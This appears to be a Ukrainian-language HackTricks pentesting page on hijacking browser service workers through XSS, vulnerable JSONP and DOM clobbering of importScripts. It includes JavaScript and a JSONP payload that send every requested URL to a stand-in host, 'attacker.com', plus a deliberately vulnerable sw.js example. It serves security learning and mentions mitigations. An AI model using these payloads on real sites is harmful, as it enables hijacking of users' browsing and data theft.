# Зловживання службовими працівниками {{#include ../../banners/hacktricks-training.md}} ## Основна інформація **Службовий працівник** - це скрипт, який виконується вашим браузером у фоновому режимі, окремо від будь-якої веб-сторінки, що дозволяє використовувати функції, які не потребують веб-сторінки або взаємодії з користувачем, тим самим покращуючи можливості **офлайн-обробки та обробки у фоновому режимі**. Докладну інформацію про службових працівників можна знайти [тут](https://developers.google.com/web/fundamentals/primers/service-workers). Зловживаючи службовими працівниками в уразливому веб-домені, зловмисники можуть отримати контроль над взаємодією жертви з усіма сторінками в цьому домені. ### Перевірка наявних службових працівників Наявні службові працівники можуть бути перевірені в розділі **Службові працівники** на вкладці **Застосунок** в **Інструментах розробника**. Інший метод - відвідати [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) для більш детального перегляду. ### Push-сповіщення **Дозволи на push-сповіщення** безпосередньо впливають на здатність **службового працівника** спілкуватися з сервером без прямої взаємодії з користувачем. Якщо дозволи відхилені, це обмежує потенціал службового працівника становити постійну загрозу. Навпаки, надання дозволів збільшує ризики безпеки, дозволяючи отримувати та виконувати потенційні експлойти. ## Атака створення службового працівника Щоб скористатися цією вразливістю, вам потрібно знайти: - Спосіб **завантажити довільні JS** файли на сервер і **XSS для завантаження службового працівника** завантаженого JS файлу - **Уразливий JSONP запит**, де ви можете **маніпулювати виходом (з довільним JS кодом)** і **XSS** для **завантаження JSONP з корисним навантаженням**, яке **завантажить шкідливого службового працівника**. У наступному прикладі я збираюся представити код для **реєстрації нового службового працівника**, який буде слухати подію `fetch` і **надсилати на сервер зловмисника кожну отриману URL** (це код, який вам потрібно **завантажити** на **сервер** або завантажити через **уразливий JSONP** відповідь): ```javascript self.addEventListener('fetch', function(e) { e.respondWith(caches.match(e.request).then(function(response) { fetch('https://attacker.com/fetch_url/' + e.request.url) }); ``` І це код, який **зареєструє робітника** (код, який ви повинні мати можливість виконати, зловживаючи **XSS**). У цьому випадку **GET** запит буде надіслано на сервер **зловмисника**, **повідомляючи**, чи була **реєстрація** сервісного робітника успішною чи ні: ```javascript ``` У випадку зловживання вразливим JSONP кінцевим пунктом ви повинні помістити значення всередину `var sw`. Наприклад: ```javascript var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//" ``` Є **C2**, присвячений **експлуатації Service Workers**, під назвою [**Shadow Workers**](https://shadow-workers.github.io), який буде дуже корисним для зловживання цими вразливостями. **Директива кешу на 24 години** обмежує термін дії шкідливого або скомпрометованого **service worker (SW)** максимум 24 години після виправлення вразливості XSS, за умови онлайн-статусу клієнта. Щоб мінімізувати вразливість, оператори сайтів можуть знизити час життя (TTL) скрипта SW. Розробникам також рекомендується створити [**kill-switch для service worker**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) для швидкої деактивації. ## Зловживання `importScripts` у SW через DOM Clobbering Функція **`importScripts`**, викликана з Service Worker, може **імпортувати скрипт з іншого домену**. Якщо ця функція викликається з **параметром, який може** змінити зловмисник, він зможе **імпортувати JS-скрипт зі свого домену** і отримати XSS. **Це навіть обходить захист CSP.** **Приклад вразливого коду:** - **index.html** ```html ``` - **sw.js** ```javascript const searchParams = new URLSearchParams(location.search) let host = searchParams.get("host") self.importScripts(host + "/sw_extra.js") //host can be controllable by an attacker ``` ### З DOM Clobbering Для отримання додаткової інформації про те, що таке DOM Clobbering, перегляньте: {{#ref}} dom-clobbering.md {{#endref}} Якщо URL/домен, який SW використовує для виклику **`importScripts`**, **знаходиться всередині HTML-елемента**, його **можна змінити за допомогою DOM Clobbering**, щоб змусити SW **завантажити скрипт з вашого власного домену**. Для прикладу цього перегляньте посилання на довідку. ## Посилання - [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering) {{#include ../../banners/hacktricks-training.md}}